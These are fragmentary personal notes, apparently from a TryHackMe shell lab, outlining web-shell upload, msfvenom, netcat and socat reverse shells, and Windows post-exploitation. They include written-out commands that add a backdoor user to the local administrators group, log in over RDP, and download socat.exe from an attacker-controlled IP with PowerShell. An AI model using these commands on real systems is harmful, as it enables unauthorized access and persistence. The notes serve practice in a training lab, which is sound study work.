# shell

###### tags: `shell` `tryhackme`

[TOC]

## Gather Information


Port 80 -> linux upload

we could try upload the webshell on target macine


## msfvenom

### Generate web shell(PHP)

msfvenom -l payload | grep -i "php"


### upload the web shell


### Handler(listening)


### Metepreter

Up Grade the Shell



---

# Linux LAB


Next step

## Netcat

Reverse Shell


---

target nc -> our machine (80)


## Socat (stable Necat)

Generate the certificate and key


---


---





# Windows lab



Upload web shell

php_reverse (web shell )

## Gain PowerShell




## Add new USER

net user meowhecker meowhecker /add

net localgroup administrators meowhecker /add


## PDR login (by meowhcker)

xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:10.10.241.25 /u:meowhecker /p:'meowhecker'



## Socat

Upload socat

Under the Powershell

Invoke-WebRequest -uri  http://10.17.11.72:8000/socat.exe -outfile C:\\Windows\temp\socat.exe  

# Problem

Dowload socat -> permission denied